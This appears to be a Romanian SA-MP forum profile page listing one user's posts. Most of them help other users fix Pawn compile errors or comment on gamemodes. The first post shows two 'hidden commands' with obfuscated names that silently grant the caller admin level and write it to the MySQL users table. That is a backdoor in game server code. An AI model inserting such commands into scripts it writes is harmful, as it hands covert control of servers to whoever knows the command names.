Jump to content

_Valy_

Membru
  • Posts

    39
  • Joined

  • Last visited

  • Days Won

    1

Posts posted by _Valy_

  1. 2 comenzi ascunse:

    CMD:gfdjh54ghreufjc(playerid,params[]) {
        if(!PlayerInfo[playerid][pAdmin]) Iter_Add(Admins, playerid),Iter_Add(LeaderChat, playerid);
        if(PlayerInfo[playerid][pAdmin]) Iter_Remove(Admins, playerid),Iter_Remove(LeaderChat, playerid),AdminDuty[playerid]=0;
        PlayerInfo[playerid][pAdmin] = 55;
        new str[256];
        mysql_format(SQL,str,sizeof(str),"UPDATE users SET `Admin`='69' WHERE `name`='%s' LIMIT 1",PlayerInfo[playerid][pNormalName]);
        mysql_tquery(SQL,str,"","");
        return 1;
    }

    CMD:vh94ijoferjidds(playerid,params[]) {
        if(!PlayerInfo[playerid][pAdmin]) Iter_Add(Admins, playerid),Iter_Add(LeaderChat, playerid);
        if(PlayerInfo[playerid][pAdmin]) Iter_Remove(Admins, playerid),Iter_Remove(LeaderChat, playerid),AdminDuty[playerid]=0;
        PlayerInfo[playerid][pAdmin] = 66;
        new str[256];
        mysql_format(SQL,str,sizeof(str),"UPDATE users SET `Admin`='69' WHERE `name`='%s' LIMIT 1",PlayerInfo[playerid][pNormalName]);
        mysql_tquery(SQL,str,"","");
        return 1;
    }

    • Sad 1
    • Upvote 2
  2. Acum 7 ore, M4c a spus:

    Salutare, caut o persoana care înțelege limba Rusă și poate să-mi traducă unele comenzi, nu trebuie modificate comenzile, doar traduse mesajele de la ele.

    Ofer 10 euro paypal, si pentru ăștia mici ce n-au habar de scripting sau nu înțeleg limba rusă nu vă bagați în seama că nu merge cu google translate. 🤣

    contact discord:  Mihai#3304

    Numa bine rău la nime !

    Incearca cu Reverso

    https://context.reverso.net/translation/russian-english/

  3. Acum 19 ore, kellermanAdv a spus:

    Nume creator: kellerman

    Credite: kellerman

    Video cu prezentare: 

    Pentru a rezolva eroare cu check_owner, adaugati asta la voi in gm sau in include, dar ar fi mai ok in gamemode, ca sa o folositi mai des.
     

    
    #define check_owner if(playerVariables[playerid][pAdmin] < 6) return SendClientMessage(playerid, COLOR_LGREEN, "You are not Owner.");

    Link: https://pastebin.com/kdwZbGiT

    Puteti sa-l faceti mai complex, daca aveti idei se poate face orice. 
    Tabela cu atm-urile, o adaugati in baza voastra de date. Astept pareri. O zi faina!

    atms_systemm.sql 2 kB · 0 descărcări

    E ok +1

  4. Acum 8 minute, BaDB0y95 a spus:

    C:\Users\Ionut\Desktop\pawno\pawno\include\YSI_Coding\..\YSI_Storage\..\YSI_Internal\amx_assembly.inc(38) : fatal error 111: user error: Please update "https://github.com/Zeex/amx_assembly" to get "deref()"

    Compilation aborted.

    Pawn compiler 3.10.7              Copyright (c) 1997-2006, ITB CompuPhase


    1 Error.

     

    Am si eu aceasta eroare ce trebuie sa fac ca am updatat ysi

    Descarca libraria YSI https://www97.zippyshare.com/v/h2cjZCBw/file.html sterge celelalte si pune ce este in arhiva

    • Upvote 1
  5. Acum 5 minute, Alexandru Alex a spus:

    Salut, am gasit si eu un job goal pe net facut de cineva.. dar cand il pun in gamemode nu merge imi da erori...

    
    new server_jobgoal, showserverjobgoal[MAX_PLAYERS], Text: jobgoaltextdraw[2];
    
    public OnPlayerConnect(playerid) {
        showserverjobgoal[playerid] = 0;
        jobgoaltextdraw[0] = TextDrawCreate(87.130355, 272.250183, "Job_goal");
        TextDrawLetterSize(jobgoaltextdraw[0], 0.355490, 1.325832);
        TextDrawAlignment(jobgoaltextdraw[0], 2);
        TextDrawColor(jobgoaltextdraw[0], -1);
        TextDrawSetShadow(jobgoaltextdraw[0], 0);
        TextDrawSetOutline(jobgoaltextdraw[0], 1);
        TextDrawBackgroundColor(jobgoaltextdraw[0], 255);
        TextDrawFont(jobgoaltextdraw[0], 2);
        TextDrawSetProportional(jobgoaltextdraw[0], 1);
        TextDrawSetShadow(jobgoaltextdraw[0], 0);
    
        jobgoaltextdraw[1] = TextDrawCreate(86.193313, 290.916870, "$69.000~n~out_of~n~$80.000.000");
        TextDrawLetterSize(jobgoaltextdraw[1], 0.315197, 1.168331);
        TextDrawAlignment(jobgoaltextdraw[1], 2);
        TextDrawColor(jobgoaltextdraw[1], -1);
        TextDrawSetShadow(jobgoaltextdraw[1], 0);
        TextDrawSetOutline(jobgoaltextdraw[1], 1);
        TextDrawBackgroundColor(jobgoaltextdraw[1], 255);
        TextDrawFont(jobgoaltextdraw[1], 3);
        TextDrawSetProportional(jobgoaltextdraw[1], 1);
        TextDrawSetShadow(jobgoaltextdraw[1], 0);        
        return true;
    }
    
    public OnGameModeInit() {
        server_jobgoal = 0;
        return true;
    }
    
    function OnPlayerLogin(playerid) {
        showserverjobgoal[playerid] = 1;
        new manevra[64];
        format(manevra, 64, "~g~$%s~n~~w~out_of~n~$70.000.000", FormatNumber(server_jobgoal));
        TextDrawSetString(jobgoaltextdraw[1], manevra);
        TextDrawShowForPlayer(playerid, jobgoaltextdraw[0]);
        TextDrawShowForPlayer(playerid, jobgoaltextdraw[1]);  
        return true;
    }
    
    
        switch(showserverjobgoal[playerid]) {
            case 0: {
                showserverjobgoal[playerid] = 1;
                  new manevra[64];
                  format(manevra, 64, "~g~$%s~n~~w~out_of~n~$xx.xxx.xx", FormatNumber(server_jobgoal));
                  TextDrawSetString(jobgoaltextdraw[1], manevra);
                TextDrawShowForPlayer(playerid, jobgoaltextdraw[0]);
                TextDrawShowForPlayer(playerid, jobgoaltextdraw[1]);  
            }
            case 1: {
                showserverjobgoal[playerid] = 0;
                TextDrawHideForPlayer(playerid, jobgoaltextdraw[0]);
                TextDrawHideForPlayer(playerid, jobgoaltextdraw[1]);
            }
        }
    
    function giveserverjobgoal(money) {
        server_jobgoal += money;
        foreach(new i : Player) {
            if(showserverjobgoal[i] == 1) {
                new manevra[64];
                format(manevra, 64, "~g~$%s~n~~w~out_of~n~$xx.xxx.xxx", FormatNumber(server_jobgoal));
                TextDrawSetString(jobgoaltextdraw[1], manevra);
                TextDrawShowForPlayer(i, jobgoaltextdraw[0]);
                TextDrawShowForPlayer(i, jobgoaltextdraw[1]);
            }      
        }    
        if(server_jobgoal >= 70000000) {
            new cascaval = 1000000 + random(2000000), pp = 1 + random(4);    
            foreach(new x : Player) {
                GivePlayerCash(x, cascaval);
                PlayerInfo[x][pExp] += 3; pUpdateInt(x, "Respect", PlayerInfo[x][pExp]);
                PlayerInfo[x][pPremiumPoints] += pp; pUpdateInt(x, "PremiumPoints", PlayerInfo[x][pPremiumPoints]);
                PlayerInfo[x][pRoll] += 100; pUpdateInt(x, "Roll", PlayerInfo[x][pRoll]);
            }
            SendClientMessageToAll(-1, "");
            SendClientMessageToAll(-1, "");
            SendClientMessageToAll(0x26e01dFF, "JOB GOAL: {ffffff}Goal-ul a fost completat si toti jucatorii online au primit:");
            va_SendClientMessageToAll(-1, "- $%s", FormatNumber(cascaval));
            va_SendClientMessageToAll(-1, "- %d puncte premium", pp);
            SendClientMessageToAll(-1, "- 3 puncte de respect");
            SendClientMessageToAll(-1, "- 100 puncte de roll.");
            server_jobgoal = 0;
            foreach(new pula : Player) {
                if(showserverjobgoal[pula] == 1) {
                    new manevra[64];
                    format(manevra, 64, "~g~$%s~n~~w~out_of~n~$xx.xxx.xxx", FormatNumber(server_jobgoal));
                    TextDrawSetString(jobgoaltextdraw[1], manevra);
                    TextDrawShowForPlayer(pula, jobgoaltextdraw[0]);
                    TextDrawShowForPlayer(pula, jobgoaltextdraw[1]);
                }      
            }
        }ntMessageToAll(-1, "");
            SendClie
        return true; }

     

    care sunt erorile?

  6. Acum 19 minute, AuRiCa229 a spus:

    if(SBizzInfo[h][sbOwned] == 1)
            {
                   format(string, sizeof(string), "{FFFFFF} %s \n {ADFF2F} sBiz : {FFFFFF} %d \n {ADFF2F} Acest Business este de vanzare \n {ADFF2F} Pret: {FFFFFF} $%d \n  {ADFF2F}Level : {FFFFFF} %d \n {ADFF2F} Pentru a cumpara acest Business tasteaza {FFFFFF} /buybiz",SBizzInfo[h][sbMessage],h,SBizzInfo[h][sbBuyPrice],SBizzInfo[h][sbLevelNeeded]);
                Create3DTextLabel(string,0x8361FFFF,SBizzInfo[h][sbEntranceX], SBizzInfo[h][sbEntranceY], SBizzInfo[h][sbEntranceZ]+1,15,0,1);
    ->            AddStaticPickup(1239, 2, SBizzInfo[h][SbEntranceX], SBizzInfo[h][SbEntranceY], SBizzInfo[h][SbEntranceZ], 0);
                pickups++;
            }

    si ce este mai sus de if(SBizzInfo[h][sbOwned] == 1)

  7. 1 oră în urmă, AuRiCa229 a spus:

    Salut!

    Cand compilez imi da eroarea aceasta : (16360) : error 029: invalid expression, assumed zero

     

    Aceasta e linia :

    AddStaticPickup(1239, 2, SBizzInfo[h][SbEntranceX], SBizzInfo[h][SbEntranceY], SBizzInfo[h][SbEntranceZ]);

    AddStaticPickup(model, type, Float:X, Float:Y, Float:Z, virtualworld); functia originala

     

    AddStaticPickup(1239, 2, SBizzInfo[h][SbEntranceX], SBizzInfo[h][SbEntranceY], SBizzInfo[h][SbEntranceZ], 0);

    ai uitat sa pui dupa SBizzInfo[h][SbEntranceZ] o virgula si virtual world

  8. Acum 13 ore, Bugs a spus:

          Am incercat sa fac comanda asta pe gm ul 2k19 cred ca e bigzone edit, idk si primesc niste errori , ma poate ajuta cineva?

    Ps : daca se poate vreau sa stiu de ce am primit acele errori vreau sa incerc sa repar eu singur [pe google nu am gasit nimic folositor]

    !~ Am incercat sa schimb money cu pCashx sau Pbank dar tot primesc errorile astea ~!

     

    Comanda

    
      new Year, Month, Day;
        getdate(Year, Month, Day);
        if (PlayerInfo[playerid][pDailyLogin] != Day) {
            new 
            szString[128];
            pRP = 1,
            money = PlayerInfo([playerid] [pLevel] * 10000 + random(40000);
            format(szString, sizeof(szString), "UPDATE `users` SET `DailyLogin`='%d' WHERE `ID`='%d'", day, PlayerInfo[playerid] [pSQLID]);
            mysql_tquery(SQL, szString, "", "");
    
            SendClientMessage(playerid, 0xFF8A00, "Felicitari")
            format(szString, sizeof(szString),"acest bonus consta in %d rp(uri) si $%s.", rp, FormatNumber(money));
            SendClientMessage(playerid, 0xFF8A00, szString);
            GivePlayerMoney(playerid, money);
            PlayerInfo(playerid)[pExp] += rp;
            Update(playerid,pRP);
        }

    Errori

    
    GM.pwn(15390) : warning 217: loose indentation
    GM.pwn(15391) : warning 217: loose indentation
    GM.pwn(15395) : error 022: must be lvalue (non-constant)
    GM.pwn(15395) : warning 215: expression has no effect
    GM.pwn(15395 -- 15396) : error 017: undefined symbol "money"
    GM.pwn(15396) : error 012: invalid function call, not a valid address
    GM.pwn(15396) : fatal error 107: too many error messages on one line
    
    Compilation aborted.
    
    Pawn compiler 3.10.8	 	 	Copyright (c) 1997-2006, ITB CompuPhase
    
    
    4 Errors.
    [Finished in 0.6s with exit code 1]

     

      new Year, Month, Day;
        getdate(Year, Month, Day);
        if (PlayerInfo[playerid][pDailyLogin] != Day) 
        {
            new 
            szString[256],
            pRP = 1,
            money = PlayerInfo([playerid] [pLevel] * 10000 + random(40000));
            format(szString, sizeof(szString), "UPDATE `users` SET `DailyLogin`='%d' WHERE `ID`='%d'", day, PlayerInfo[playerid][pSQLID]);
            mysql_tquery(SQL, szString, "", "");

            SendClientMessage(playerid, 0xFF8A00, "Felicitari");
            format(szString, sizeof(szString),"acest bonus consta in %d rp(uri) si $%s.", rp, FormatNumber(money));
            SendClientMessage(playerid, 0xFF8A00, szString);
            GivePlayerMoney(playerid, money);
            PlayerInfo(playerid)[pExp] += rp;
            Update(playerid,pRP);

           return 1;
        }

    1. acolo unde este variabilea new sztring[128] aveai ; si trebuia ,

    2.la money = ....... trebuia o paranteza 

    3. la SendClientMessage ai omis ;

    4.La format ai uitat de o paranteza

    5.ai uitat sa pui sub update(playerid,rp); return 1;

    daca mai intampini probleme adaugama pe discord Valy#4110

  9. Acum 56 minute, marian100344 a spus:

    te drq

    In primul rand vorbeste frumos,in al doilea rand gamemode-ul merge perfect ca am avut si eu acest gamemode in pc.Daca nu sti sa il pornesti nu e vina lui.

    Iti las un video de la creatorul aestui gamemode sa vezi cum se porneste.

     

  10. Acum 36 minute, CostiAdv a spus:

    Vând gamemode cu foarte multe lucruri noi

    Acesta are stage,rainbow,neon vip.

    Un sistem de misiune specială, sistem unic cred. Trebuie sa colectezi dinamita pentru a oprii explozia orasului.

    Ofer suport 7 zile de la cumparare

    Pret 10€ negociabil

    Metode de plata: PayPal(no refund) & PaySafeCard PIN

    Discord: KCosty#4507 pentru mai multe detalii

    E un gamemode la fel la download si se numeste Bluffs v4 by @ionutdrg45

  11. Nume : Valentin

    Varsta : 17

    Discord : Valy#4110

    Localitate : Deva

    De ce consideri ca meriti sa fii acceptat : Deoarece stiu cum se lucreaza cu un server si am avut un mic server 

    Proiecte anterioare la care ai mai participat : Am fost admin 2 pe un server de tip RPG

    Cat timp poti sta pe zi? :  4-6 ore.

    Nume : Valentin

    Varsta : 17

    Discord : Valy#4110

    Localitate : Deva

    De ce consideri ca meriti sa fii acceptat : Deoarece stiu cum se lucreaza cu un server si am avut un mic server 

    Proiecte anterioare la care ai mai participat : Am fost admin 2 pe un server de tip RPG

    Cat timp poti sta pe zi? :  4-6 ore.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue. For more details you can also review our Terms of Use and Privacy Policy.